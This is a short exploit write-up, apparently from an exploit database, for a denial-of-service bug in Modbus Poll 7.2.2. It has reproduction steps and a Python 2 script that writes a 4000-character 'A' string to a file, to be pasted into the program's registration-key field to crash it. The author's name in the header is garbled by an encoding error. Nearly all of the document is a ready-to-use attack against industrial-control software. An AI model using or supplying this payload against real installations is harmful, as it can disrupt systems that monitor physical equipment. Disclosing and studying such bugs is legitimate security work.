# Exploit Title: Modbus Poll 7.2.2 - Denial of Service (PoC) # Discovery by: Cemal Cihad AAdegFTAAdeg # Discovery Date: 2018-10-19 # Tested Version: 7.2.2 # Vulnerability Type: DOS # Tested on OS: Windows XP Professional Service Pack 3 # Vendor Homepage: https://www.modbustools.com # Download Link: https://www.modbustools.com/download.html # Steps to Reproduce: Run the python exploit script, it will create a new # file with the name "exploit.txt". Copy the content of the new file "exploit.txt". # Now start the program. Now when you are inside of the program click Connection button and # click "connect". It will ask you for registration key. In the field: "Registration Key" # paste the copied content from "exploit.txt". # Now click "OK" and see a crash! #!/usr/bin/python buffer = "A" * 4000 try: f=open("exploit.txt","w") print "[+] Creating %s bytes evil payload.." %len(buffer) f.write(buffer) f.close() print "[+] File created!" except: print "File cannot be created"